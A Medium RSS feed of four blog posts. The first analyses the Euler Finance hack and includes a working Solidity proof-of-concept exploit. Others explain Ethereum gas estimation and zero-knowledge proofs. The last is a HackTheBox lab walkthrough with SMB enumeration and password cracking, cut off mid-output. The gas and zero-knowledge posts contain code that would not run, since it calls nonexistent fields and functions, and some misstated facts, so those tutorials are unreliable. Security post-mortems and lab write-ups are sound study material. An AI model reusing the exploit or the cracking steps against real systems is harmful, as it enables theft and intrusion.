<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Arun Jangra on Medium]]></title>
        <description><![CDATA[Stories by Arun Jangra on Medium]]></description>
        <link>https://medium.com/@ocdbytes?source=rss-264f7680dd06------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fiVZnck8GYj27uenBbjcuQ.jpeg</url>
            <title>Stories by Arun Jangra on Medium</title>
            <link>https://medium.com/@ocdbytes?source=rss-264f7680dd06------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 19 Nov 2026 17:55:48 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ocdbytes/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Euler Finance (-$197 Million) | Analysis]]></title>
            <link>https://medium.com/@ocdbytes/euler-finance-197-million-analysis-cf12c478d8da?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/cf12c478d8da</guid>
            <category><![CDATA[finance]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[blockchain]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Thu, 10 Aug 2023 21:16:49 GMT</pubDate>
            <atom:updated>2023-08-12T09:45:31.536Z</atom:updated>
            <content:encoded><![CDATA[<p>Euler Finance was hacked on March 13, 2023. I know this article is very late but this will serve as a reminder to everyone who is developing or auditing smart contracts that ‘Donation is not a good thing always’ just kidding, It is a reminder to never neglect anything not even the most basic things.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*In4OS_89wm9-fYFr-IhkPQ.png" /></figure><h4><strong>Few things we need to know before diving into the analysis </strong>💡 :</h4><p><strong>SCF (Self Collateral Factor)</strong> : A special factor that lets you borrow a certain amount of collateral over a deposit when the asset deposited and borrowed are same.<br>For eg :<br>deposit : 10 USDC<br>borrow : 9 USDC<br>Here in this case self collateral factor is 0.90</p><p><strong>Soft liquidation max discount</strong> : This is the percentage of the profit that can be earned by the liquidator in order to liquidate a loan.</p><p><strong>Working of Soft Liquidation :</strong></p><p>General idea here is that every 1% of decrease in the health factor will lead to 1% increase in liquidation penalty which can go to maximum of 20% and then 2 % fee is payed to the Euler finance platform itself.</p><pre>Discount = min(1 - HF, 20%) - 2%<br><br>Amount recieved by liquidator :<br>Premium = Deposits * Discount</pre><p><strong>Loan To Value (LTV) : </strong>This ratio is calculated by multiplying the Borrowed Factor and Collateral.</p><pre>LTV = Borrowed Factor * Collateral Factor</pre><p><strong>Health Factor :</strong></p><pre>H.F. = (Deposit * LTV) / Borrowed</pre><p>Health factor is a factor that is used to define the position of the loan whether it is liquidable or not. We need to keep our health factor always &gt; 1 otherwise less than 1 value would lead to liquidation of the loan.</p><p><strong>How does lending and borrowing tokens work ?<br></strong>When you deposit money into Euler Finance platform for the deposited amount Euler finance will issue you <strong>“E Tokens” </strong>and<strong> “D Tokens” </strong>will be issued to your account for the borrowed amount.</p><h4>Let’s focus on the HACK 🕵️‍♂️ :</h4><p><strong>High Level Overview :</strong></p><pre>---&gt; [Take a flash loan] <br>---&gt; [Deposit and Borrow the same asset] <br>---&gt; [Donate Collateral to Euler] <br>---&gt; [Use another account to liquidate]</pre><p>You may know that the Euler Finance was hacked for $8 million for the first time by a white hat hacker and funds were returned immediately. Now just 20 mins after that the platform was hacked for $197 million using the vulnerability in the donate function.</p><p><strong>Donate Function :<br></strong>Here the donate function is used by users to donate the leftover small amounts of funds (also known as dust, such as 0.06 ETH) to the protocol because withdrawing them will cause more gas loss and they would receive very less funds.</p><h4><strong>How attacker exploited it ? </strong>🌪</h4><p>Attacker Address : <em>0xb2698c2d99ad2c302a95a8db26b08d17a77cedd4</em></p><p><a href="https://etherscan.io/address/0xb2698c2d99ad2c302a95a8db26b08d17a77cedd4">Euler Finance Exploiter 1 | Address 0xb2698c2d99ad2c302a95a8db26b08d17a77cedd4 | Etherscan</a></p><ol><li><strong>Borrowing the assets from AAVE</strong></li></ol><p>Here the attacker takes a flash loan 30 million <strong>DAI</strong> from AAVE platform.</p><p>2. <strong>Depositing &gt; Borrowing &gt; Depositing</strong></p><p>Now attacker goes to Euler finance and gives 30 million DAI as a collateral and borrows 390 million DAI and deposits the all 390 million DAI into Euler. This will lead to the LTV of 93% and health factor of 1.02 so our position is safe now.</p><pre>LTV  = 93 %<br><br>H.F. = Max LTV / Your LTV = 95 % / 93 %<br>     = 1.02</pre><p>Here LTV of 93 % is possible because Euler allows users to borrow the max collateral of 95 % when the asset deposited and withdrawn are same.</p><pre>Asset = 390 + 30 = 420 million DAI<br>Debt = 390 million DAI</pre><p>3. <strong>Donating the funds</strong></p><p>Now attacker donates the funds into Euler finance platform.<br>Donated Amount : $ 100 million</p><p>After donating our health factor is dropped to<strong> 0.77</strong></p><pre>H.F. = 0.77</pre><p>4. <strong>Liquidating &gt; Taking Funds</strong></p><p>Now attacker liquidates the loan using another account and then takes the 20 % of the deposited amount as the penalty.</p><p>This leaves the attacker with 64 million DAI. Now 30 million is payed back to the AAVE and the net profit comes around 34 million DAI.</p><p>As Euler didn’t have this much money the attacker got away with <strong>8.9 million DAI. After this the hack was repeated for 5 other coins and the total value the attacker took out was close to $ 200 million.</strong></p><p>Full Transaction :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_46knpr8xBC9GtXF3JiBA.png" /></figure><p><a href="https://etherscan.io/tx/0xc310a0affe2169d1f6feec1c63dbc7f7c62a887fa48795d327d4d2da2d6b111d">Ethereum Transaction Hash (Txhash) Details | Etherscan</a></p><p>Here is the POC code by the community :</p><pre>// SPDX-License-Identifier: GPL-2.0-or-later<br>pragma solidity ^0.8.0;<br><br>import &quot;forge-std/Test.sol&quot;;<br>import &quot;contracts/modules/EToken.sol&quot;;<br>import &quot;contracts/modules/DToken.sol&quot;;<br>import &quot;contracts/Euler.sol&quot;;<br>import &quot;contracts/modules/Liquidation.sol&quot;;<br>import &quot;contracts/modules/RiskManager.sol&quot;;<br><br>// forge test --fork-url $ETH_RPC_URL --fork-block-number 16818061 -vv -m testHack<br><br><br>interface BalancerVault {<br>    function flashLoan(IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData) external;<br>}<br><br>interface IFlashLoanRecipient {<br>    function receiveFlashLoan(IERC20[] memory tokens, uint256[] memory amounts, uint256[] memory feeAmounts, bytes memory userDat) external;<br>}<br><br>contract Liquidator is DSTest {<br>    DToken dToken = DToken(0x436548baAb5Ec4D79F669D1b9506D67e98927aF7);<br>    EToken eToken = EToken(0xbd1bd5C956684f7EB79DA40f582cbE1373A1D593);<br>    Euler euler = Euler(0x27182842E098f60e3D576794A5bFFb0777E025d3);<br>    Liquidation liquidation = Liquidation(0xf43ce1d09050BAfd6980dD43Cde2aB9F18C85b34);<br>    IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);<br><br>    function liquidate() public {<br>        Liquidation.LiquidationOpportunity memory liqOpp = liquidation.checkLiquidation(address(this), msg.sender, address(wstETH), address(wstETH));<br>        liquidation.liquidate(msg.sender, address(wstETH), address(wstETH), liqOpp.repay, liqOpp.repay);<br>        eToken.withdraw(0, wstETH.balanceOf(address(euler)));<br>        wstETH.transfer(msg.sender, wstETH.balanceOf(address(this)));<br>    }<br>}<br><br>contract EulerTest is DSTest, IFlashLoanRecipient {<br>    DToken dToken = DToken(0x436548baAb5Ec4D79F669D1b9506D67e98927aF7);<br>    EToken eToken = EToken(0xbd1bd5C956684f7EB79DA40f582cbE1373A1D593);<br>    Euler euler = Euler(0x27182842E098f60e3D576794A5bFFb0777E025d3);<br>    BalancerVault vault = BalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);<br>    IERC20 wstETH = IERC20(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0);<br><br>    Liquidator liquidator;<br><br>    constructor() {<br>        liquidator = new Liquidator();<br>    }<br><br>    function testHack() public {<br>        emit log_named_uint(&quot;wstETH balance before&quot;, wstETH.balanceOf(address(this)));<br><br>        IERC20[] memory tokens = new IERC20[](1);<br>        uint256[] memory amounts = new uint256[](1);<br><br>        tokens[0] = wstETH;<br>        amounts[0] = wstETH.balanceOf(address(vault));<br>        vault.flashLoan(this, tokens, amounts, &quot;&quot;);<br><br>        emit log_named_uint(&quot;wstETH balance after&quot;, wstETH.balanceOf(address(this)));<br>    }<br><br>    function receiveFlashLoan(<br>        IERC20[] memory tokens,<br>        uint256[] memory amounts,<br>        uint256[] memory feeAmounts,<br>        bytes memory userData<br>    ) external override {<br>        require(msg.sender == address(vault), &quot;wrong sender&quot;);<br><br>        uint256 amount = amounts[0];<br>        emit log_named_uint(&quot;receiveFlashLoan&quot;, amount);<br><br>        wstETH.approve(address(euler), amount);<br><br>        eToken.deposit(0, amount);<br>        eToken.mint(0, amount * 15);<br>        eToken.donateToReserves(0, amount * 3);<br><br>        liquidator.liquidate();<br><br>        emit log_named_uint(&quot;repaying flash&quot;, amount);<br>        wstETH.transfer(msg.sender, amount);<br>    }<br>}</pre><p><em>Source : </em><a href="https://github.com/Zellic/poc-hacks/blob/main/EulerFinance/euler.sol"><em>https://github.com/Zellic/poc-hacks/blob/main/EulerFinance/euler.sol</em></a></p><h4><strong>Why this attack happened ? </strong>🚨</h4><p>There was a check missing from the donate function that would check the health factor of the user of the funds that would be updated after the donation transaction is executed and if it is less than 1 revert the transaction.</p><p>POC solution</p><pre>function donate(....) ..... {<br>  .......<br>  require(health_factor &gt; 1 , &quot;Health Factor Issue&quot;);<br>  .......<br>}<br></pre><p>Yup just one health factor check would have saved all the funds.</p><p>Euler Finance is a very safe platform that was designed against any malicious actors. Even if one asset was to be compromised It was designed such that the other assets would not be affected.</p><p>But missing of this one check lead to the hack.</p><p>All the funds were returned by the hacker to the platform except the 1100 ETH that were transferred into tornado cash by the attacker.</p><h4>How attacker decide what amount to donate ? and maximum attack efficiency ⚡</h4><p>For maximum efficiency the violator should target a HF of exactly 1 before donating. They need to donate 20% of their deposits.</p><p>For that we need max SCF. Let’s assume the flash loan of $1.</p><pre>(Collateral) C = 1$ / (1 - S.C.F.) -------------(1)<br><br>Premium = (C-donated) * Discount<br>        = (C - 0.2C) * Discount<br>        = (0.8C) * Discount<br>        = (0.8 * (1$ / (1 - S.C.F.))) * (20% - 2%) ----------- From (1)<br><br>Profit = Premium - Cost<br>       = [(0.8 * (1$ / (1 - S.C.F.))) * (20% - 2%)] - 1$<br><br>For Profit :<br><br>[(0.8 * (1$ / (1 - S.C.F.))) * (20% - 2%)] &gt; 1$ -------------(2)<br><br>From (2)<br><br>SCF &gt; 0.856</pre><pre>For same asset :<br>---------------<br>LTV (for same asset) = 0.95<br>SCF = 0.95 * 0.95 = 0.9025 [&gt; 0.856] =&gt; Attack Possible<br><br>For different asset :<br>-------------------<br>LTV (asset 1) = 0.90<br>LTV (asset 2) = 0.94<br>SCF = 0.90 * 0.94 = 0.846  [&lt; 0.856] =&gt; Attack Not Possible</pre><p>So here are all the factors that led to the attack :</p><ul><li>Same asset SCF &gt; 0.856</li><li>Vulnerable donate function</li></ul><p>We need to audit even the most basic things and side features before launching the product.</p><p>All the timeline available here :</p><p><a href="https://docs.google.com/spreadsheets/d/1iFLuE5lsseBf_dzun7F1qXdQF51CtHGwUpU7qwtEuG4/edit#gid=0">euler timeline</a></p><pre>Sources Used :<br>------------<br><br>- junion<br>- zellic</pre><h4>Thank You<br>Спасибо :)</h4><p>Keep Learning 🚀</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cf12c478d8da" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Ethereum Gas Price : How ? & Estimate]]></title>
            <link>https://medium.com/data-science-community-srm/ethereum-gas-price-how-estimate-bddd233abd20?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/bddd233abd20</guid>
            <category><![CDATA[ethereum]]></category>
            <category><![CDATA[cryptocurrency]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[programming]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Fri, 24 Mar 2023 16:12:49 GMT</pubDate>
            <atom:updated>2023-03-24T16:46:12.465Z</atom:updated>
            <content:encoded><![CDATA[<h3>Ethereum Gas Price : How ? &amp; Estimate</h3><p>EIP 1559 and Gas Price estimation</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hAHxdmRCoTv63MrOL-2mHw.png" /></figure><h4>How Gas Fee is calculated ?</h4><p>Gas fee in ETH is handled by algorithm defined in EIP 1559. Gas fee is handled on the basis of the fee target in a block. To demonstrate this we can assume two blocks :</p><p>Block 1 &amp; block 2</p><p>Each block’s max gas amount : 30 M gas<br>Each block’s target gas amount : 15 M gas</p><p>Now,</p><p>In Block 1 :<br>Total used gas : 22 M gas</p><p>In Block 2 :<br>Total used gas : 10M gas</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HpQfqsHCLx4GVDC3TFqE6g.png" /></figure><pre>Here the mechanics is defined as :<br><br>Less space left for gas -----&gt; Higher demand -----&gt; High gas fee<br><br>More space left for gas -----&gt; Less demand -----&gt; Low gas fee</pre><p>From this we can understand that :<br>Gas fee will be lower in Block 2 and It will be higher in Block 1</p><h4>What is EIP 1559 ?</h4><p>It is an Ethereum Improvement proposal which proposes a new fee market mechanism that would make the fee system more predictable and efficient. Under this proposal, each block would have a “base fee” that is algorithmically determined based on the current network usage. Users would then be able to add a “tip” to incentivize miners to prioritize their transactions.</p><p>Post EIP 1559, Ethereum used a bidding method for calculating the gas fees where users bid for limited block space by paying higher fees. This can result in high and unpredictable fees during times of network congestion.</p><p>Here let me demonstrate how EIP 1559 works using a very simple code :</p><pre>pragma solidity ^0.8.0;<br><br>contract EIP1559Demonstration {<br>    uint256 public counter;<br>    <br>    function increment() public payable {<br><br>        // Getting the current base fee and the maximum tip amount<br>        (uint256 baseFee, uint256 maxTip) = getFeeAndTip();<br>        <br>        // Calculating the total fee for the transaction<br>        uint256 totalFee = baseFee + msg.value;<br>        if (totalFee &gt; baseFee + maxTip) {<br>            totalFee = baseFee + maxTip;<br>        }<br>        <br>        // Incrementing the counter and pay the fee to the miner<br>        counter++;<br>        (bool success, ) = block.coinbase.call{value: totalFee}(&quot;&quot;);<br>        require(success, &quot;Failed to pay fee to miner&quot;);<br>    }<br>    <br>    function getFeeAndTip() public view returns (uint256 baseFee, uint256 maxTip) {<br>        // Getting the current block number<br>        uint256 blockNumber = block.number;<br>        <br>        // Calculate the base fee using the EIP 1559 formula<br>        uint256 baseFeePerGas = block.basefee;<br>        baseFee = tx.gasprice * (blockNumber - tx.blockNumber) * baseFeePerGas;<br>        <br>        // Setting the maximum tip to twice the base fee<br>        maxTip = baseFee * 2;<br>    }<br>}</pre><p>In this contract, there is a <strong>counter</strong> variable that can be incremented by calling the <strong>increment()</strong> function. The function takes a payment in Ether and uses the EIP 1559 fee market mechanism to calculate the transaction fee and pay it to the miner.</p><p>The <strong>getFeeAndTip()</strong> function calculates the current base fee using the <strong>block.basefee</strong> variable, which represents the current base fee per gas for the block. It then sets the maximum tip to twice the base fee. The <strong>increment()</strong> function calculates the total fee for the transaction by adding the base fee and the payment amount and then capping it at the maximum tip.</p><p>Finally, the <strong>increment()</strong> function increments the counter variable and pays the total fee to the miner using the <strong>block.coinbase</strong> variable, which represents the address of the miner who mined the current block.</p><h4>Can we calculate estimated gas price from the previous blocks’ data ?</h4><p>YES</p><p>Now we can also use our mechanism to calculate the fee which can be used for custom fees in our own DAPP (decentralised application). So let’s write some code and after that explanation will be provided.</p><p>We will be using getFeeHistory to get the data of the previous blocks and then we will use that data to get the estimated gas fee for a transaction to be included.</p><p>We will use this logic to get the estimated gas fees :</p><pre>Top 1 %ile of the transactions to get slow gas fee<br>Top 50 %ile of the transactions to get average gas fee<br>Top 99 %ile of the transactions to get fast gas fee</pre><h4>Utils</h4><p>formatResult.ts</p><pre>export const formatResult = (<br>  result: any,<br>  historicalBlocks: number<br>) =&gt; {<br>  // getting blocknumber<br>  let blockNum = Number(result.oldestBlock);<br><br>  const formattedBlocks = [];<br><br>  for (let loopInd = 0; loopInd &lt; historicalBlocks; loopInd++) {<br>    formattedBlocks.push({<br>      block_number: blockNum,<br>      baseFeePerGas: Number(result.baseFeePerGas[loopInd]),<br>      gasUsedRatio: Number(result.gasUsedRatio[loopInd]),<br>      priorityFeePerGasPercentiles: result.reward[loopInd].map((x: number) =&gt;<br>        Number(x)<br>      ),<br>    });<br>    blockNum += 1;<br>  }<br><br>  return formattedBlocks;<br>};</pre><p>calcAverage.ts</p><pre>export const calcAverage = (arr: number[]) =&gt; {<br>  // sum of elements in array<br>  const sum = arr.reduce((a, v) =&gt; a + v);<br>  return Math.round(sum / arr.length);<br>};</pre><h4>Root</h4><p>Index.ts</p><pre>import Web3 from &quot;web3&quot;;<br>import * as dotenv from &quot;dotenv&quot;;<br>import { formatResult } from &quot;./utils/formatResult&quot;;<br>import { calcAverage } from &quot;./utils/calcAverage&quot;;<br>dotenv.config();<br><br>const ETH_RPC: string = process.env.ETH_RPC || &quot;&quot;;<br>const web3 = new Web3(ETH_RPC);<br><br>// Historical Blocks : Defines how many older blocks we want to get.<br>const historicalBlocks = 20;<br><br>/*<br>getFeeHistory : This function is required to get the fee history of the previous blocks<br>getFeeHistory(arg1, arg2, arg3)<br><br>* arg 1 : historical blocks<br>* arg 2 : type of blocks to retrieve (&quot;pending in our case&quot;)<br>* arg 3 : array of numbers defining the percentile of the priority fee of the blocks we want to fetch<br><br>For Eg : <br>In our case 1,50,99<br>represents priority fee in the 1 percentile of transactions, 50 percentile of the transactions and 99 percentile of transactions<br>*/<br><br>web3.eth<br>  .getFeeHistory(historicalBlocks, &quot;pending&quot;, [1, 50, 99])<br>  .then((result) =&gt; {<br>    const res = formatResult(result, historicalBlocks);<br><br>    const slow = calcAverage(<br>      res.map((block) =&gt; block.priorityFeePerGasPercentiles[0])<br>    );<br>    const average = calcAverage(<br>      res.map((block) =&gt; block.priorityFeePerGasPercentiles[1])<br>    );<br>    const fast = calcAverage(<br>      res.map((block) =&gt; block.priorityFeePerGasPercentiles[2])<br>    );<br><br>    // Getting the latest block<br>    web3.eth.getBlock(&quot;pending&quot;).then((block) =&gt; {<br>      const baseFeeOfLatestBlock = Number(block.baseFeePerGas);<br>      console.log(`Gas Estimation (Block Number : ${Number(block.number)}) :<br>slow 🐌 : ${slow + baseFeeOfLatestBlock}<br>average 🚩 : ${average + baseFeeOfLatestBlock}<br>fast ⚡ : ${fast + baseFeeOfLatestBlock}`);<br>    });<br>  });</pre><p>Output :</p><pre>Gas Estimation (Block Number : 8710534) :<br>slow 🐌 : 160758582325<br>average 🚩 : 161582842530<br>fast ⚡ : 455478648655</pre><p>For more details check the github readme</p><p>Github : <a href="https://github.com/Arun89-crypto/GasEstimatorEth">https://github.com/Arun89-crypto/GasEstimatorEth</a></p><p>You can check more about Ethereum and London Fork on Alchemy and Ethereum official website.</p><h3>Thank You :)</h3><p>Keep learning 🧠 &amp; Buidling 🏗️</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bddd233abd20" width="1" height="1" alt=""><hr><p><a href="https://medium.com/data-science-community-srm/ethereum-gas-price-how-estimate-bddd233abd20">Ethereum Gas Price : How ? &amp; Estimate</a> was originally published in <a href="https://medium.com/data-science-community-srm">DataX Journal</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Zero Knowledge Proofs !=  ?]]></title>
            <link>https://medium.com/@ocdbytes/zero-knowledge-proofs-818810880947?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/818810880947</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[zero-knowledge-proofs]]></category>
            <category><![CDATA[blockchain]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cryptography]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Fri, 17 Feb 2023 19:44:51 GMT</pubDate>
            <atom:updated>2023-02-17T19:44:51.821Z</atom:updated>
            <content:encoded><![CDATA[<h3>Zero Knowledge Proofs != 🧠 ?</h3><p>What comes to mind when we hear zero knowledge? IDK, I came up with that it is Proof that something is Null or anything. But no, I first came to hear this thing in Polygon Connect 💜 when they were telling about zkEVM. I was like what the hell is ‘zk’ in zkEVM ? I searched on google and got hundreds of results, I read through them and I was blown 🤯. So here in this article, I will be explaining what is zero knowledge and how it is used in real-world with suitable examples.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H8WhBktpaHamMr0AJeDm6A.png" /></figure><h4>What is zero knowledge proofs ?</h4><p>→ A zero-knowledge proof is a way of proving the validity of a statement without revealing the statement itself. The ‘prover’ is the party trying to prove a claim, while the ‘verifier’ is responsible for validating the claim.</p><p>Zero-knowledge proofs first appeared in a 1985. <br><a href="https://people.csail.mit.edu/silvio/Selected%20Scientific%20Papers/Proof%20Systems/The_Knowledge_Complexity_Of_Interactive_Proof_Systems.pdf">Link 🔗</a></p><p>Now that is a bookish definition, in order to break it in simpler terms we will take an example to understand it :</p><p>For eg :</p><p>Suppose one person gives you a locked box which can be opened with a code.<br>Now In order to prove that you know how to unlock the box without revealing the code you can cover the box and write the code without revealing the code and then show the other person that the box is unlocked.<br>This is how zero knowledge works but it is a complex math.</p><h4>Uses :</h4><ul><li>Zero knowledge can be used in cryptography</li><li>Anonymous Payments</li><li>Identity Protection</li><li>Authentication</li><li>and many more …</li></ul><h3>How zero knowledge proofs work ?</h3><p>→ Zero knowledge proofs work by allowing one party, the prover, to demonstrate to another party, the verifier, that they possess certain knowledge or information, without revealing anything about the knowledge or information.</p><p>Let’s see a real world example of this :</p><p>Suppose Alice wants to prove to bob that she knows a secret number ‘X’ without revealing the number to bob.</p><p>Alice creates a mathematical function called commitment that takes ‘X’ as an input.</p><pre>Commitment(X) -&gt; Y<br><br>Alice sends &#39;Y&#39; to bob:<br>Alice -----[Y]----&gt; Bob</pre><p>Bob chooses random number (suppose ‘100’ for our case) and sends it to Alice</p><pre>Bob -----[100]----&gt; Alice</pre><p>Alice then applies one way function response to a secret number ‘X’ and the random number ‘100’ to produce a new output ‘K’</p><pre>Response(X,100) -&gt; K<br><br>Alice sends &#39;K&#39; to bob:<br>Alice -----[K]----&gt; Bob</pre><p>Bob takes ‘Y’ and ‘K’ and applies the same mathematical function which Alice used to generate ‘Y’.</p><pre>function(K) -&gt; O/P<br>here function == Commitment</pre><p>Here if :<br><strong>function(K) == Y<br></strong>→ It is proved that the alice knows the secret number ‘X’<br><strong>else :<br></strong>→ Alice doesn’t know the number ‘X’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CSSa-Fx75I9x6k8ww6CQ9w.png" /></figure><p>We can also visualise this scenario using python :</p><pre>import hashlib<br><br>def commitment(X):<br>  # Hashing the number &#39;X&#39;<br>  h = hashlib.SHA256()<br>  h.update(str(X).encode())<br>  return h.hexdigit<br> <br>def response(X,Z):<br>  return pow(X,Z,P) # Just for demonstration (never use irl) P = any<br>  <br># Prover&#39;s Secret Number<br>X = 12456348<br>Y = commitment(X)<br><br>Z = 100 # Verifier&#39;s random number<br>K = response(X,Z)<br><br>assert(commitment(K) == Y)<br>assert(response(X,Z) == K)<br><br>print(&quot;Prover knows the secret number.&quot;)</pre><p>This is a very simple example of zero knowledge proofs.</p><p>But it is really important to understand the protocol. Now zero knowledge must satisfy these criteria :</p><ol><li><strong>Completeness</strong> : If the input is valid, the zero-knowledge protocol always returns ‘true’. Hence, if the underlying statement is true, and the prover and verifier act honestly, the proof can be accepted.</li><li><strong>Soundness</strong> : If the input is invalid, it is theoretically impossible to fool the zero-knowledge protocol to return ‘true’. Hence, a lying prover cannot trick an honest verifier into believing an invalid statement is valid (except with a tiny margin of probability).</li><li><strong>Zero-knowledge</strong> : The verifier learns nothing about a statement beyond its validity or falsity (they have “zero knowledge” of the statement). This requirement also prevents the verifier from deriving the original input (the statement’s contents) from the proof.</li></ol><p>Now zero knowledge proof is made up of three elements</p><pre>Witness + Challenge + Response</pre><p><strong>Witness</strong> : With a zero-knowledge proof, the prover wants to prove knowledge of some hidden information. The secret information is the “witness” to the proof, and the prover’s assumed knowledge of the witness establishes a set of questions that can only be answered by a party with knowledge of the information. Thus, the prover starts the proving process by randomly choosing a question, calculating the answer, and sending it to the verifier.</p><p><strong>Challenge</strong> : The verifier randomly picks another question from the set and asks the prover to answer it.</p><p><strong>Response</strong> : The prover accepts the question, calculates the answer, and returns it to the verifier. The prover’s response allows the verifier to check if the former really has access to the witness. To ensure the prover isn’t guessing blindly and getting the correct answers by chance, the verifier picks more questions to ask. By repeating this interaction many times, the possibility of the prover faking knowledge of the witness drops significantly until the verifier is satisfied.</p><p>This is a brief intro to zero knowledge and the mechanism behind it. In reality the functions demonstrated above are complex mathematical functions.</p><h3>So keep learning 🚀<br>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=818810880947" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Timelapse ⏰]]></title>
            <link>https://systemweakness.com/timelapse-hackthebox-c407decbefca?source=rss-264f7680dd06------2</link>
            <guid isPermaLink="false">https://medium.com/p/c407decbefca</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Arun Jangra]]></dc:creator>
            <pubDate>Wed, 03 Aug 2022 17:34:30 GMT</pubDate>
            <atom:updated>2022-08-05T11:26:51.587Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>HackTheBox</strong></h4><p>Timelapse is a windows machine on HackTheBox platform. This machine is currently active on the platform. We need to find two flag hashes user and root which will gain us 20 points. Concepts Included : NMAP, SMB shares, Cryptography, Certificate extraction (from .pfx file), LAPS, evil-winrm etc. Overall amazing beginner friendly box and informational.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EhZdWEjQK6La9iXOONffWA.png" /></figure><p>So let’s begin there is so much to learn.<br>Here is the link for the box if you want to follow along:<br>Link : <a href="https://app.hackthebox.com/machines/452">https://app.hackthebox.com/machines/452</a></p><p>Select machine Timelapse and launch the instance.<br>Machine Used: Kali Linux</p><p>давай 🚀</p><p>Follow the culture and Do a NMAP scan first :</p><p><strong>NMAP</strong></p><pre>nmap -sC -sV 10.10.11.152</pre><p>Output</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*fOyiMHZu3Pzrcqti5dwOxg.png" /></figure><p>There are several services running and we are for a while only interested in smbclient running on port 139</p><p>List the shares →</p><pre>smbclient -L \\\\10.10.11.152</pre><p>Output →</p><pre>Enter WORKGROUP\\root&#39;s password: </pre><pre>        Sharename       Type      Comment<br>        ---------       ----      -------<br>        ADMIN$          Disk      Remote Admin<br>        C$              Disk      Default share<br>        IPC$            IPC       Remote IPC<br>        NETLOGON        Disk      Logon server share <br>        Shares          Disk      <br>        SYSVOL          Disk      Logon server share <br>Reconnecting with SMB1 for workgroup listing.<br>do_connect: Connection to 10.10.11.152 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)<br>Unable to connect with SMB1 -- no workgroup available</pre><p>Let’s access the Shares module on SMB share as it is the only one we can access without special permissions</p><pre>smbclient -H \\\\\\\\10.10.11.152\\\\Shares</pre><p>→ We found a file named winrm_backup.zip<br>Let’s get it in our system</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9DlyyHHvnZqKm2a1FCrgig.png" /></figure><p>In HelpDesk folder we have something but not needed here so we will keep that here</p><pre>smb: \\&gt; cd HelpDesk\\<br>smb: \\HelpDesk\\&gt; ls<br>  .                                   D        0  Mon Oct 25 11:48:42 2021<br>  ..                                  D        0  Mon Oct 25 11:48:42 2021<br>  LAPS.x64.msi                        A  1118208  Mon Oct 25 10:57:50 2021<br>  LAPS_Datasheet.docx                 A   104422  Mon Oct 25 10:57:46 2021<br>  LAPS_OperationsGuide.docx           A   641378  Mon Oct 25 10:57:40 2021<br>  LAPS_TechnicalSpecification.docx      A    72683  Mon Oct 25 10:57:44 2021</pre><pre>                6367231 blocks of size 4096. 2461837 blocks available<br>smb: \\HelpDesk\\&gt;</pre><p>This zip is password protected we need to crack this</p><pre>┌──(root㉿kali)-[~/TimelapseHTB] <br>└─# unzip winrm_backup.zip      <br>Archive:  winrm_backup.zip <br>[winrm_backup.zip] legacyy_dev_auth.pfx password:     <br>      skipping: legacyy_dev_auth.pfx    incorrect password</pre><h4>ZIP FILE CRACKING</h4><p>Now we will crack the zip file using zip2john</p><pre>/usr/sbin/zip2john winrm_backup.zip &gt; winrm_backup_zip.txt</pre><p>This will store the result in winrm_backup_zip.txt file<br>Now we will use john to crack it</p><pre>john --wordlist=/usr/share/wordlists/rockyou.txt winrm_backup_zip.txt</pre><p>OUTPUT</p><pre>Using default input encoding: UTF-8<br>Loaded 1 password hash (PKZIP [32/64])<br>Will run 2 OpenMP threads<br>Press 